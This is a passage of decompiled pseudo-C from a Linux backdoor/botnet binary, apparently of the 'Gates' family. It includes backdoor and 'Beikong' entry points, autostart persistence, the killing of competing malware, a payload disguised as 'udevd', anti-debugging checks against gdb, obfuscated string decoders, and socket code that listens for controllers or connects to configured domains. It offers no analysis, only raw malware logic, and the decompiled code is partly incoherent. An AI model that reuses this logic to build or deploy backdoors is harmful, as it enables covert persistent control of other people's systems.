CUtility__Sleep((int32_t *)0xea60); // branch -> 0x80622b5 } } // Address range: 0x8062304 - 0x80623f1 int32_t MainBackdoor(void) { int32_t v1 = 1; // bp-44 int32_t v2 = daemon(1, (int32_t)g2); // 0x8062312 int32_t result = v2 < 0; // 0x80623f1_21 if (v2 < 0 == false) { // 0x8062325 v1 = 0x8132d74; int32_t v3 = std__string__c_str(&g49); // 0x806232d int32_t v4; CSysTool__GetBackDoorLockFile(&v4, v3); int32_t v5 = std__string__c_str(&v4); // 0x806234c if (CSysTool__IsPidExist((char *)v5) == 0) { int32_t v6 = std__string__c_str(&v4); // 0x806236d CSysTool__MarkPid((char *)v6, (char **)&g10); int32_t v7 = std__string__c_str(&g50); // 0x806238e v1 = 99; CUtility__SetAutoStart((char *)v7, &v1, v3); CSysTool__HandleSystools((int32_t *)""); MainProcess(); // branch -> 0x80623de } int32_t v8 = std__basic_string_lt_char_comma__std__char_traits_lt_char_gt__comma__std__allocator_lt_char_gt___gt__666((int32_t **)&v4); // 0x80623e5 result = v8; // branch -> 0x80623ed } // 0x80623ed return result; } // Address range: 0x80623f2 - 0x8062665 int32_t MainBeikong(void) { int32_t v1 = g100; // 0x80623f2 int32_t v2 = g98; // 0x80623f5 int32_t v3 = 0; // bp-56 int32_t v4 = 1; // bp-60 int32_t v5 = daemon(1, (int32_t)g2); // 0x8062400 int32_t result = v5 < 0; // 0x8062408 if (v5 < 0 != false) { // 0x8062661 g98 = v2; g100 = v1; return result; } // 0x8062413 int32_t v6; CSysTool__KillChaos(v6); v4 = std__string__c_str(&g48); CSysTool__KillPid((char *)&v4); v4 = (int32_t)"/tmp/bill.lock"; CSysTool__KillPid("/tmp/bill.lock"); v4 = (int32_t)"/tmp/bill.lock"; CFileOp__RemoveFile("/tmp/bill.lock"); if (CSysTool__KillGatesIfExist() != 1) { // 0x8062460 g95 = 0; abort(); // UNREACHABLE } int32_t v7 = g59; // 0x806246b int32_t v8 = v7; // 0x8062493 if (v7 == 1) { // 0x8062475 v4 = 0x8132d7c; int32_t v9 = std__string__c_str(&g51); // 0x806247d v3 = 97; v4 = v9; int32_t v10; CUtility__SetAutoStart((char *)&v4, &v3, v10); v8 = g95; // branch -> 0x8062493 } int32_t v11 = (int32_t)g52 | v8 & -256; // 0x8062493 char v12; int32_t v13; // 0x80624b5 if (v11 == 1) { int32_t v14 = CUtility__IsRoot(); // 0x806249f int32_t v15 = v14 ^ 1; // 0x80624a4 if (v14 != 1) { // 0x80624b1 v13 = v15; v12 = 0; // branch -> 0x80624b5 } else { v13 = v15; v12 = 1; } } else { // 0x80624b1 v13 = v11 ^ 1; v12 = 0; // branch -> 0x80624b5 } // 0x80624b5 if (((int32_t)v12 || v13 & -256) != 0) { // 0x80624c0 v4 = 0x8132d74; int32_t v16 = std__string__c_str(&g49); // 0x80624c8 v3 = v16; int32_t v17; CSysTool__GetBackDoorLockFile(&v17, v16); int32_t v18 = std__string__c_str(&v17); // 0x80624e7 CSysTool__KillPid((char *)v18); v4 = (int32_t)"udevd"; int32_t v19; CSysTool__GetBackDoorLockFile(&v19, (int32_t)"udevd"); std__string__operator_eq__675(); std__basic_string_lt_char_comma__std__char_traits_lt_char_gt__comma__std__allocator_lt_char_gt___gt__666((int32_t **)&v19); int32_t v20 = std__string__c_str(&v17); // 0x8062557 CSysTool__KillPid((char *)v20); int32_t v21 = std__string__c_str(&v17); // 0x8062572 CFileOp__RemoveFile((char *)v21); int32_t v22 = std__string__c_str(&g49); // 0x806258e int32_t v23; CSysTool__GetBackDoorFile(&v23, v22, (int32_t)"udevd"); int32_t v24 = std__string__c_str(&v23); // 0x80625ad CSysTool__ReleaseAndStartGates((int32_t *)v24); std__basic_string_lt_char_comma__std__char_traits_lt_char_gt__comma__std__allocator_lt_char_gt___gt__666((int32_t **)&v23); std__basic_string_lt_char_comma__std__char_traits_lt_char_gt__comma__std__allocator_lt_char_gt___gt__666((int32_t **)&v17); // branch -> 0x8062620 } // 0x8062620 int32_t v25; if (CUtility__IsRoot() == 0) { // 0x806264c v25 = (int32_t)"/tmp/notify.file"; CFileOp__RemoveFile("/tmp/notify.file"); // branch -> 0x806265c } else { // 0x8062629 CSysTool__SetBeikongPathfile(); v25 = std__string__c_str(&g57); CSysTool__ReleaseAndStartGates(&v25); // branch -> 0x806265c } // 0x806265c MainProcess(); // branch -> 0x8062661 // 0x8062661 g98 = v2; g100 = v1; return result; } // Address range: 0x8062666 - 0x80629a3 int main(int argc, char ** argv) { int32_t v1; int32_t v2 = v1; // bp-28 int32_t v3; int32_t v4 = v3; // bp-24 int32_t v5; int32_t v6 = v5; // bp-20 g95 = 16; CSysTool__CloseAllFileDescs(); int32_t v7; CSysTool__Ower6msf(v7); int32_t v8; std__basic_string_lt_char_comma__std__char_traits_lt_char_gt__comma__std__allocator_lt_char_gt___gt_(&v8); CUtility__GetModuleFullPath(&v8); int32_t v9 = std__string__c_str(&v8); // bp-96 int32_t v10 = CFileOp__GetTgtFileSize((char *)&v9); // 0x80626be if (((int32_t)(v10 == g55) || v10 & -256) != 1) { // 0x80626d5 abort(); // UNREACHABLE } // 0x80626e0 char * v11; CUtility__GetParentPath((int32_t)v11); v9 = (int32_t)"gdb"; char * substr_pos = strstr((char *)std__string__c_str((int32_t *)v11), "gdb"); // 0x8062707 if (((int32_t)(substr_pos == NULL) || (int32_t)substr_pos & -256) != 1) { // 0x8062718 abort(); // UNREACHABLE } // 0x8062723 HGrd9(v1); std__string__operator_eq__675(); std__basic_string_lt_char_comma__std__char_traits_lt_char_gt__comma__std__allocator_lt_char_gt___gt__666((int32_t **)&v2); Mndyuf(v3); std__string__operator_eq__675(); std__basic_string_lt_char_comma__std__char_traits_lt_char_gt__comma__std__allocator_lt_char_gt___gt__666((int32_t **)&v4); BGtd98(v5); std__string__operator_eq__675(); std__basic_string_lt_char_comma__std__char_traits_lt_char_gt__comma__std__allocator_lt_char_gt___gt__666((int32_t **)&v6); int32_t v12; Osdku6(&v12, v6); std__string__operator_eq__675(); std__basic_string_lt_char_comma__std__char_traits_lt_char_gt__comma__std__allocator_lt_char_gt___gt__666((int32_t **)&v12); int32_t v13; wer54(&v13, v12); std__string__operator_eq__675(); std__basic_string_lt_char_comma__std__char_traits_lt_char_gt__comma__std__allocator_lt_char_gt___gt__666((int32_t **)&v13); CSysTool__CheckGatesType(v4); CSysTool__Ikdfu94(); if (CSysTool__IsUpdateTemporary(v4) != 0) { // 0x80628cb CSysTool__DoUpdate(argc, (int32_t)*argv); // branch -> 0x8062958 // 0x8062958 std__basic_string_lt_char_comma__std__char_traits_lt_char_gt__comma__std__allocator_lt_char_gt___gt__666((int32_t **)v11); std__basic_string_lt_char_comma__std__char_traits_lt_char_gt__comma__std__allocator_lt_char_gt___gt__666((int32_t **)&v8); return 0; } int32_t v14 = g7; // 0x80628e5 if (v14 == 1) { // 0x8062916 MainBeikong(); // branch -> 0x8062958 // 0x8062958 std__basic_string_lt_char_comma__std__char_traits_lt_char_gt__comma__std__allocator_lt_char_gt___gt__666((int32_t **)v11); std__basic_string_lt_char_comma__std__char_traits_lt_char_gt__comma__std__allocator_lt_char_gt___gt__666((int32_t **)&v8); return 0; } // 0x80628f3 if (v14 <= 1) { // 0x80628f9 if (v14 == 0) { // 0x806290f MainMonitor(); // branch -> 0x8062958 } // 0x8062958 std__basic_string_lt_char_comma__std__char_traits_lt_char_gt__comma__std__allocator_lt_char_gt___gt__666((int32_t **)v11); std__basic_string_lt_char_comma__std__char_traits_lt_char_gt__comma__std__allocator_lt_char_gt___gt__666((int32_t **)&v8); return 0; } // 0x8062901 if (v14 == 2) { // 0x806291d MainBackdoor(); // branch -> 0x8062958 } else { // 0x8062907 if (v14 == 3) { // 0x8062924 MainSystool((int32_t *)argc, (int32_t **)argv, v12); // branch -> 0x8062958 } } // 0x8062958 std__basic_string_lt_char_comma__std__char_traits_lt_char_gt__comma__std__allocator_lt_char_gt___gt__666((int32_t **)v11); std__basic_string_lt_char_comma__std__char_traits_lt_char_gt__comma__std__allocator_lt_char_gt___gt__666((int32_t **)&v8); return 0; } // Address range: 0x80629a4 - 0x8062a11 int32_t KDS87y(int16_t * a1, int32_t * a2) { int16_t v1 = 0; int32_t * v2 = a2; if (a2 > (int32_t *)1) { int32_t v3 = (int32_t)*a1; // 0x80629bf int16_t * v4 = (int16_t *)((int32_t)a1 + 2); // 0x80629c1_4 int32_t v5 = (int32_t)a2 - 2; // 0x80629c8 int32_t * v6 = (int32_t *)v5; // 0x80629cb_0 // branch -> 0x80629b3 while (v6 > (int32_t *)1) { // 0x80629b3 a1 = v4; v3 = (int32_t)*a1 + 0x10000 * v3 / 0x10000; v4 = (int16_t *)((int32_t)a1 + 2); v5 -= 2; v6 = (int32_t *)v5; // continue -> 0x80629b3 } // 0x80629ce v1 = v3; a1 = v4; v2 = v6; // branch -> 0x80629d4 } // 0x80629d4 int16_t v7; // 0x8062a05_43 if (v2 >= (int32_t *)1) { // 0x80629da v7 = (int32_t)*a1 + (int32_t)v1; // branch -> 0x80629e8 } else { v7 = v1; } int32_t v8 = (0x10000 * (int32_t)v7 + (int32_t)v7) / 0x10000; return (0x10000 * (v8 / 0x10000 + v8) / -0x10000 - 1) % 0x10000; } // Address range: 0x8062a12 - 0x8062d29 int32_t HGrd9(int32_t result) { int32_t v1 = g98; // 0x8062a15 int32_t * v2; memcpy(v2, (int32_t *)0x80ffac0, 512); KDS87y((int16_t *)68, (int32_t *)256); KDS87y((int16_t *)68, (int32_t *)256); KDS87y((int16_t *)68, (int32_t *)256); KDS87y((int16_t *)68, (int32_t *)256); KDS87y((int16_t *)68, (int32_t *)256); KDS87y((int16_t *)68, (int32_t *)256); KDS87y((int16_t *)68, (int32_t *)256); KDS87y((int16_t *)68, (int32_t *)256); KDS87y((int16_t *)68, (int32_t *)256); KDS87y((int16_t *)68, (int32_t *)256); KDS87y((int16_t *)68, (int32_t *)256); KDS87y((int16_t *)68, (int32_t *)256); KDS87y((int16_t *)68, (int32_t *)256); g95 = 13; g98 = result; int32_t v3; std__allocator_lt_char_gt__598(v3); int32_t v4 = g98; int32_t v5; int32_t v6; std__basic_string_lt_char_comma__std__char_traits_lt_char_gt__comma__std__allocator_lt_char_gt___gt__691(&v4, 68, v3, v6, v5, 0); std__allocator_lt_char_gt_(); g98 = v1; return result; } // Address range: 0x8062d2a - 0x8062f27 int32_t Mndyuf(int32_t result) { int32_t v1 = g98; // 0x8062d2d int32_t * v2; memcpy(v2, (int32_t *)0x80ffcc0, 512); KDS87y((int16_t *)115, (int32_t *)256); KDS87y((int16_t *)115, (int32_t *)256); KDS87y((int16_t *)115, (int32_t *)256); KDS87y((int16_t *)115, (int32_t *)256); KDS87y((int16_t *)115, (int32_t *)256); KDS87y((int16_t *)115, (int32_t *)256); KDS87y((int16_t *)115, (int32_t *)256); g95 = 7; g98 = result; int32_t v3; std__allocator_lt_char_gt__598(v3); int32_t v4 = g98; // bp-556 int32_t v5; int32_t v6; std__basic_string_lt_char_comma__std__char_traits_lt_char_gt__comma__std__allocator_lt_char_gt___gt__691(&v4, 115, v3, v6, v5, 0); std__allocator_lt_char_gt_(); g98 = v1; return result; } // Address range: 0x8062f28 - 0x80630c7 int32_t BGtd98(int32_t result) { int32_t v1 = g98; // 0x8062f2b int32_t * v2; memcpy(v2, (int32_t *)0x80ffec0, 512); KDS87y((int16_t *)103, (int32_t *)256); KDS87y((int16_t *)103, (int32_t *)256); KDS87y((int16_t *)103, (int32_t *)256); KDS87y((int16_t *)103, (int32_t *)256); KDS87y((int16_t *)103, (int32_t *)256); g95 = 5; g98 = result; int32_t v3; std__allocator_lt_char_gt__598(v3); int32_t v4 = g98; // bp-556 int32_t v5; int32_t v6; std__basic_string_lt_char_comma__std__char_traits_lt_char_gt__comma__std__allocator_lt_char_gt___gt__691(&v4, 103, v3, v6, v5, 0); std__allocator_lt_char_gt_(); g98 = v1; return result; } // Address range: 0x80630c8 - 0x8063209 int32_t nkfsd8(char * a1) { int32_t v1 = g98; // 0x80630cb int32_t * v2; memcpy(v2, (int32_t *)0x81000c0, 512); KDS87y((int16_t *)116, (int32_t *)256); KDS87y((int16_t *)116, (int32_t *)256); KDS87y((int16_t *)116, (int32_t *)256); g95 = 3; int32_t result = (int32_t)a1; // 0x8063196 g98 = result; int32_t v3; std__allocator_lt_char_gt__598(v3); char * v4; int32_t v5; std__basic_string_lt_char_comma__std__char_traits_lt_char_gt__comma__std__allocator_lt_char_gt___gt__691((int32_t *)g98, 116, v3, v5, (int32_t)v4, 0); std__allocator_lt_char_gt_(); g98 = v1; return result; } // Address range: 0x806320a - 0x806334b int32_t tRd76(char * a1) { int32_t v1 = g98; // 0x806320d int32_t * v2; memcpy(v2, (int32_t *)0x81002c0, 512); KDS87y((int16_t *)108, (int32_t *)256); KDS87y((int16_t *)108, (int32_t *)256); KDS87y((int16_t *)108, (int32_t *)256); g95 = 3; int32_t result = (int32_t)a1; // 0x80632d8 g98 = result; int32_t v3; std__allocator_lt_char_gt__598(v3); char * v4; int32_t v5; std__basic_string_lt_char_comma__std__char_traits_lt_char_gt__comma__std__allocator_lt_char_gt___gt__691((int32_t *)g98, 108, v3, v5, (int32_t)v4, 0); std__allocator_lt_char_gt_(); g98 = v1; return result; } // Address range: 0x806334c - 0x80634b9 int32_t Kusdf9(char * a1) { int32_t v1 = g98; // 0x806334f int32_t * v2; memcpy(v2, (int32_t *)0x81004c0, 512); KDS87y((int16_t *)109, (int32_t *)256); KDS87y((int16_t *)109, (int32_t *)256); KDS87y((int16_t *)109, (int32_t *)256); KDS87y((int16_t *)109, (int32_t *)256); g95 = 4; int32_t result = (int32_t)a1; // 0x8063449 g98 = result; int32_t v3; std__allocator_lt_char_gt__598(v3); char * v4; int32_t v5; std__basic_string_lt_char_comma__std__char_traits_lt_char_gt__comma__std__allocator_lt_char_gt___gt__691((int32_t *)g98, 109, v3, v5, (int32_t)v4, 0); std__allocator_lt_char_gt_(); g98 = v1; return result; } // Address range: 0x80634bc - 0x806365b int32_t Isuf6(char * a1) { int32_t v1 = g98; // 0x80634bf int32_t * v2; memcpy(v2, (int32_t *)0x81006c0, 512); KDS87y((int16_t *)103, (int32_t *)256); KDS87y((int16_t *)103, (int32_t *)256); KDS87y((int16_t *)103, (int32_t *)256); KDS87y((int16_t *)103, (int32_t *)256); KDS87y((int16_t *)103, (int32_t *)256); g95 = 5; int32_t result = (int32_t)a1; // 0x80635e8 g98 = result; int32_t v3; std__allocator_lt_char_gt__598(v3); char * v4; int32_t v5; std__basic_string_lt_char_comma__std__char_traits_lt_char_gt__comma__std__allocator_lt_char_gt___gt__691((int32_t *)g98, 103, v3, v5, (int32_t)v4, 0); std__allocator_lt_char_gt_(); g98 = v1; return result; } // Address range: 0x806365c - 0x80636b3 int32_t _ZStplIcSt11char_traitsIcESaIcEESbIT_T0_T1_ERKS6_PKS3_(int32_t * a1, char * a2, char * a3) { // 0x806365c std__basic_string_lt_char_comma__std__char_traits_lt_char_gt__comma__std__allocator_lt_char_gt___gt__636(a1, (int32_t *)a2); std__string__append_669(a1, (int32_t)a3); return (int32_t)a1; } // Address range: 0x80636b6 - 0x806370d int32_t _ZStplIcSt11char_traitsIcESaIcEESbIT_T0_T1_ERKS6_S8_(char * a1, char * a2, char * a3) { // 0x80636b6 std__basic_string_lt_char_comma__std__char_traits_lt_char_gt__comma__std__allocator_lt_char_gt___gt__636((int32_t *)a1, (int32_t *)a2); std__string__append_671((int32_t *)a1, (int32_t *)a3); return (int32_t)a1; } // Address range: 0x8063710 - 0x8063a03 int32_t Osdku6(int32_t * a1, int32_t a2) { int32_t v1 = g98; // 0x8063713 int32_t result = (int32_t)a1; // 0x8063717 g98 = result; int32_t v2; std__allocator_lt_char_gt__598(v2); int32_t * v3; int32_t v4; std__basic_string_lt_char_comma__std__char_traits_lt_char_gt__comma__std__allocator_lt_char_gt___gt__691((int32_t *)g98, (int32_t)"/", v2, v4, (int32_t)v3, 0); std__allocator_lt_char_gt_(); int32_t * v5; nkfsd8((char *)v5); int32_t v6; _ZStplIcSt11char_traitsIcESaIcEESbIT_T0_T1_ERKS6_S8_((char *)&v6, (char *)a1, (char *)v5); std__string__operator_eq__675(); std__basic_string_lt_char_comma__std__char_traits_lt_char_gt__comma__std__allocator_lt_char_gt___gt__666((int32_t **)&v6); std__basic_string_lt_char_comma__std__char_traits_lt_char_gt__comma__std__allocator_lt_char_gt___gt__666((int32_t **)v5); int32_t v7; _ZStplIcSt11char_traitsIcESaIcEESbIT_T0_T1_ERKS6_PKS3_(&v7, (char *)a1, "/"); std__string__operator_eq__675(); std__basic_string_lt_char_comma__std__char_traits_lt_char_gt__comma__std__allocator_lt_char_gt___gt__666((int32_t **)&v7); int32_t * v8; Kusdf9((char *)v8); int32_t v9; _ZStplIcSt11char_traitsIcESaIcEESbIT_T0_T1_ERKS6_S8_((char *)&v9, (char *)a1, (char *)v8); std__string__operator_eq__675(); std__basic_string_lt_char_comma__std__char_traits_lt_char_gt__comma__std__allocator_lt_char_gt___gt__666((int32_t **)&v9); std__basic_string_lt_char_comma__std__char_traits_lt_char_gt__comma__std__allocator_lt_char_gt___gt__666((int32_t **)v8); int32_t v10; _ZStplIcSt11char_traitsIcESaIcEESbIT_T0_T1_ERKS6_PKS3_(&v10, (char *)a1, "."); std__string__operator_eq__675(); std__basic_string_lt_char_comma__std__char_traits_lt_char_gt__comma__std__allocator_lt_char_gt___gt__666((int32_t **)&v10); int32_t * v11; tRd76((char *)v11); int32_t v12; _ZStplIcSt11char_traitsIcESaIcEESbIT_T0_T1_ERKS6_S8_((char *)&v12, (char *)a1, (char *)v11); std__string__operator_eq__675(); std__basic_string_lt_char_comma__std__char_traits_lt_char_gt__comma__std__allocator_lt_char_gt___gt__666((int32_t **)&v12); std__basic_string_lt_char_comma__std__char_traits_lt_char_gt__comma__std__allocator_lt_char_gt___gt__666((int32_t **)v11); g98 = v1; return result; } // Address range: 0x8063a06 - 0x8063cf9 int32_t wer54(int32_t * a1, int32_t a2) { int32_t v1 = g98; // 0x8063a09 int32_t result = (int32_t)a1; // 0x8063a0d g98 = result; int32_t v2; std__allocator_lt_char_gt__598(v2); int32_t * v3; int32_t v4; std__basic_string_lt_char_comma__std__char_traits_lt_char_gt__comma__std__allocator_lt_char_gt___gt__691((int32_t *)g98, (int32_t)"/", v2, v4, (int32_t)v3, 0); std__allocator_lt_char_gt_(); int32_t * v5; nkfsd8((char *)v5); int32_t v6; _ZStplIcSt11char_traitsIcESaIcEESbIT_T0_T1_ERKS6_S8_((char *)&v6, (char *)a1, (char *)v5); std__string__operator_eq__675(); std__basic_string_lt_char_comma__std__char_traits_lt_char_gt__comma__std__allocator_lt_char_gt___gt__666((int32_t **)&v6); std__basic_string_lt_char_comma__std__char_traits_lt_char_gt__comma__std__allocator_lt_char_gt___gt__666((int32_t **)v5); int32_t v7; _ZStplIcSt11char_traitsIcESaIcEESbIT_T0_T1_ERKS6_PKS3_(&v7, (char *)a1, "/"); std__string__operator_eq__675(); std__basic_string_lt_char_comma__std__char_traits_lt_char_gt__comma__std__allocator_lt_char_gt___gt__666((int32_t **)&v7); int32_t * v8; Isuf6((char *)v8); int32_t v9; _ZStplIcSt11char_traitsIcESaIcEESbIT_T0_T1_ERKS6_S8_((char *)&v9, (char *)a1, (char *)v8); std__string__operator_eq__675(); std__basic_string_lt_char_comma__std__char_traits_lt_char_gt__comma__std__allocator_lt_char_gt___gt__666((int32_t **)&v9); std__basic_string_lt_char_comma__std__char_traits_lt_char_gt__comma__std__allocator_lt_char_gt___gt__666((int32_t **)v8); int32_t v10; _ZStplIcSt11char_traitsIcESaIcEESbIT_T0_T1_ERKS6_PKS3_(&v10, (char *)a1, "."); std__string__operator_eq__675(); std__basic_string_lt_char_comma__std__char_traits_lt_char_gt__comma__std__allocator_lt_char_gt___gt__666((int32_t **)&v10); int32_t * v11; tRd76((char *)v11); int32_t v12; _ZStplIcSt11char_traitsIcESaIcEESbIT_T0_T1_ERKS6_S8_((char *)&v12, (char *)a1, (char *)v11); std__string__operator_eq__675(); std__basic_string_lt_char_comma__std__char_traits_lt_char_gt__comma__std__allocator_lt_char_gt___gt__666((int32_t **)&v12); std__basic_string_lt_char_comma__std__char_traits_lt_char_gt__comma__std__allocator_lt_char_gt___gt__666((int32_t **)v11); g98 = v1; return result; } // Address range: 0x8063d4a - 0x8063d8f int32_t CManager__GetNodeDomains(int32_t * a1) { int32_t v1 = g98; // 0x8063d4d int32_t v2 = 0x8132da0; // bp-28 int32_t v3 = std__string__empty(&g58); // 0x8063d59 int32_t result; // 0x8063d8e_11 if (v3 != 1) { // 0x8063d68 g98 = (int32_t)a1; v2 = std__string__c_str(&g58); result = CUtility__Split_541((char *)&v2, 44, (int32_t *)g98); // branch -> 0x8063d8a } else { result = v3 ^ 1; } // 0x8063d8a g98 = v1; return result; } // Address range: 0x806461a - 0x806473b int32_t CManager__CloseAllSockets(char * a1, uint32_t a2) { int32_t v1 = (int32_t)a1; // 0x8064626 CNetBase__Close(*(int32_t *)(v1 + 884)); uint32_t v2 = a2 % 256; // 0x8064650 if ((v2 | CNetBase__Close(*(int32_t *)(v1 + 1020)) & -256) != 1) { // 0x806465a CThreadMutex__Lock(v1 + 888); // branch -> 0x806466e } int32_t v3 = v1 + 912; // 0x8064671 int32_t v4; std__set_lt_void__ptr__comma__std__less_lt_void__ptr__gt__comma__std__allocator_lt_void__ptr__gt___gt___begin((int32_t **)&v4, v3); int32_t * v5; int32_t v6 = (int32_t)v5; // 0x80646a7 // branch -> 0x80646e3 while (true) { // 0x80646e3 int32_t v7; std__set_lt_void__ptr__comma__std__less_lt_void__ptr__gt__comma__std__allocator_lt_void__ptr__gt___gt___end((int32_t **)&v7, v3); int32_t v8 = std___Rb_tree_const_iterator_lt_void__ptr__gt___operator_not__eq_(&v4, &v7); // 0x806470c if (v8 == 0) { // 0x806471c int32_t result; // 0x806473b_11 if (v2 != 1) { // 0x8064726 result = CThreadMutex__Unlock(v1 + 888); // branch -> 0x806473a } else { result = v2 ^ 1; } // 0x806473a return result; } // 0x806468e std___Rb_tree_const_iterator_lt_void__ptr__gt___operator_ptr_(&v4); if (g9 == 1) { // 0x8064698 CThreadFXConnection__CloseSocket(v6); // branch -> 0x80646d4 } else { // 0x80646b7 CThreadConnection__CloseSocket(v6); // branch -> 0x80646d4 } // 0x80646d4 std___Rb_tree_const_iterator_lt_void__ptr__gt___operator__(&v4); // branch -> 0x80646e3 } } // Address range: 0x80661cc - 0x80664a9 int32_t CManager_182(int32_t * a1) { struct struct_3 * v1 = NULL; // bp-9 std__allocator_lt_std__string_gt__42((int32_t)v1); int32_t v2 = (int32_t)a1; // 0x80661e2 std__vector_lt_std__string_comma__std__allocator_lt_std__string_gt___gt_((struct struct_3 *)a1, v1); std__allocator_lt_std__string_gt_(&v1->e0); CThreadSignaledMessageList_lt_CCmdMsg_gt__261(v2 + 12); CThreadSignaledMessageList_lt_CThreadConnection_gt__271(v2 + 240); CThreadSignaledMessageList_lt_CThreadShell_gt__281(v2 + 464); CInitResponse_209((struct struct_45 *)(v2 + 692)); CThreadMutex_531(); CCommonResponse_185((struct struct_43 *)(v2 + 832)); *(int32_t *)(v2 + 884) = 0; CThreadMutex_531(); struct struct_3 * v3 = (struct struct_3 *)(v2 + 912); // 0x80662a6_0 std__set_lt_void__ptr__comma__std__less_lt_void__ptr__gt__comma__std__allocator_lt_void__ptr__gt___gt__235(&v3->e0); *(char *)(v2 + 936) = 0; *(int32_t *)(v2 + 940) = 0; *(char *)(v2 + 944) = 0; CThreadCondition_524(); *(int32_t *)(v2 + 1020) = 0; CTask_208((struct struct_45 *)(v2 + 1024)); *(int32_t *)(v2 + 1072) = 0; CThreadMutex__InitMutex(v2 + 808); CThreadMutex__InitMutex(v2 + 888); return CThreadCondition__InitCondition(v2 + 948); } // Address range: 0x8066788 - 0x8066a8d int32_t CManager__ZXMainProcess(int32_t * a1) { int32_t v1 = CNetBase__CreateSocket(6); // 0x8066794 int32_t v2 = (int32_t)a1; // 0x806679e int32_t * v3 = (int32_t *)(v2 + 884); // 0x80667a1_0 *v3 = v1; int32_t result = *v3; // 0x80667aa if (result < 0) { // 0x8066a89 return result; } int32_t result2 = CNetBase__Bind(*v3, g8 % 0x10000); // 0x80667ce if (result2 < 0) { // 0x8066a89 return result2; } int32_t result3 = CNetBase__Listen(*v3, g17); // 0x80667f7 if (result3 < 0) { // 0x8066a89 return result3; } int32_t v4 = 0; int32_t v5 = (int32_t)g2; // 0x8066820 int32_t v6 = 0; // bp-112 int32_t * v7; int32_t v8 = (int32_t)v7; // 0x8066867 int32_t * v9 = (int32_t *)(v2 + 912); // 0x8066a4a // branch -> 0x8066815 lab_0xf0d0960:; int32_t v10; // 0x8066846 int32_t v11; // 0x80669b2 int32_t v12; while (true) { // 0x8066815 // branch -> 0x8066815 int32_t * v13; int32_t v14; int32_t v15; // 0x8066835 while (true) { lab_0x584bb90: // 0x8066815 memset(v13, v5, 16); v4 = 16; v15 = *v3; v6 = 0x4e20; v10 = CNetBase__Accept_523(v15, (struct _sockaddr *)v13, &v4, (struct _sockaddr *)&v6); if ((int32_t **)v10 >= (int32_t **)1) { v14 = 0; // break -> 0x8066905 break; } // continue -> 0x8066815 } while (true) { // 0x8066905 g98 = v14; uint32_t v16 = std__vector_lt_std__string_comma__std__allocator_lt_std__string_gt___gt___size((int32_t **)a1); // 0x806690f int32_t v17 = 0; // 0x806693b4 if (((int32_t)(g98 < v16) || v16 & -256) != 0) { lab_0x9edfee0:; int32_t v18 = std__vector_lt_std__string_comma__std__allocator_lt_std__string_gt___gt___operator_lsb__rsb_((int32_t **)a1, (int32_t *)v14); // 0x8066878 struct struct_3 * v19 = (struct struct_3 *)std__string__c_str((int32_t *)v18); // 0x8066884_4 char * v20; CDNSCache__GetIpFromDomain((int32_t *)v20, (struct struct_20 *)&g44, v19); inet_addr((char *)std__string__c_str((int32_t *)v20)); g98 = g98 & -256 | (int32_t)(v8 == g95); std__basic_string_lt_char_comma__std__char_traits_lt_char_gt__comma__std__allocator_lt_char_gt___gt__666((int32_t **)v20); if (g98 == 0) { // 0x8066900 v14++; // branch -> 0x8066905 continue; } else { v17 = 1; } } lab_0x9ee01a0:; int32_t v21 = std__vector_lt_std__string_comma__std__allocator_lt_std__string_gt___gt___empty(a1); // 0x806692b if (((v21 == 0 ? v17 : 1) || v21 & -256) == 1) { int32_t v22 = CNetBase__GetSockName(v10); // 0x806695e CConfigDoing__SetDefaultIp((int32_t **)&g43, (int32_t *)v22); CStatBase__GetMacsIps(g62, v22); CNetBase__SetKeepAlive(v10); CNetBase__SetSendBufSize(v10); v11 = _Znwj(68, v5, v12); CThreadConnection_429((struct struct_61 *)v11, v2, v10, v8); if (v11 != 0) { // break (via goto) -> 0x8066a06 goto lab_0x5859d70; } v12 = v10; // continue (via goto) -> 0x8066815 goto lab_0xf0d0960; } else { // 0x8066945 CNetBase__Close(v10); // branch -> 0x8066815 goto lab_0x584bb90; } while (true) { // 0x8066815 memset(v13, v5, 16); v4 = 16; v15 = *v3; v6 = 0x4e20; v10 = CNetBase__Accept_523(v15, (struct _sockaddr *)v13, &v4, (struct _sockaddr *)&v6); if ((int32_t **)v10 >= (int32_t **)1) { v14 = 0; // break -> 0x8066905 break; } // continue -> 0x8066815 } while (true) { // 0x8066905 g98 = v14; v16 = std__vector_lt_std__string_comma__std__allocator_lt_std__string_gt___gt___size((int32_t **)a1); uint32_t v23 = g98; // 0x8066917 if (((int32_t)(v23 < v16) || v16 & -256) == 0) { v17 = 0; goto lab_0x9ee01a0; } goto lab_0x9edfee0; } } } lab_0x5859d70: // 0x8066a06 CThread__StartThread(v11); int32_t v24; CAutoLock_492((struct struct_68 *)&v24, v2 + 888, 1); int32_t v25; std__set_lt_void__ptr__comma__std__less_lt_void__ptr__gt__comma__std__allocator_lt_void__ptr__gt___gt___insert(&v25, v9, (int32_t *)v11); CAutoLock_493((struct struct_68 *)&v24); v12 = v10; // branch -> 0x8066815 goto lab_0xf0d0960; } // Address range: 0x8066a8e - 0x8066bf6 int32_t CManager__MainProcess(int32_t * a1, int32_t * a2) { CManager__GetNodeDomains(a1); if (g9 == 0) { // 0x8066aac CManager__ZXMainProcess(a1); // branch -> 0x8066be6 } else { int32_t v1 = (int32_t)a1; // 0x8066bca int32_t * v2 = (int32_t *)(v1 + 912); // 0x8066b84_0 int32_t v3 = 0; // branch -> 0x8066bc7 while (true) { // 0x8066bc7 g98 = v3; uint32_t v4 = std__vector_lt_std__string_comma__std__allocator_lt_std__string_gt___gt___size((int32_t **)a1); // 0x8066bd1 if (((int32_t)(g98 < v4) || v4 & -256) != 0) { // 0x8066acb g98 = std__string__c_str((int32_t *)std__vector_lt_std__string_comma__std__allocator_lt_std__string_gt___gt___operator_lsb__rsb_((int32_t **)a1, (int32_t *)v3)); int32_t v5; // 0x8066aff int32_t v6 = _Znwj(68, v3, v5); // 0x8066af1 v5 = g98; CThreadFXConnection_433((struct struct_62 *)v6, v1, v5); if (v6 != 0) { // 0x8066b42 CThread__StartThread(v6); int32_t v7; CAutoLock_492((struct struct_68 *)&v7, v1 + 888, 1); int32_t v8; std__set_lt_void__ptr__comma__std__less_lt_void__ptr__gt__comma__std__allocator_lt_void__ptr__gt___gt___insert(&v8, v2, (int32_t *)v6); CAutoLock_493((struct struct_68 *)&v7); // branch -> 0x8066bc2 } v3++; // branch -> 0x8066bc7 continue; } while (true) { // 0x8066be6 CUtility__Sleep((int32_t *)0x36ee80); // branch -> 0x8066be6 } } } while (true) { // 0x8066be6 CUtility__Sleep((int32_t *)0x36ee80); // branch -> 0x8066be6 } } // Address range: 0x8066bf8 - 0x8067041 int32_t 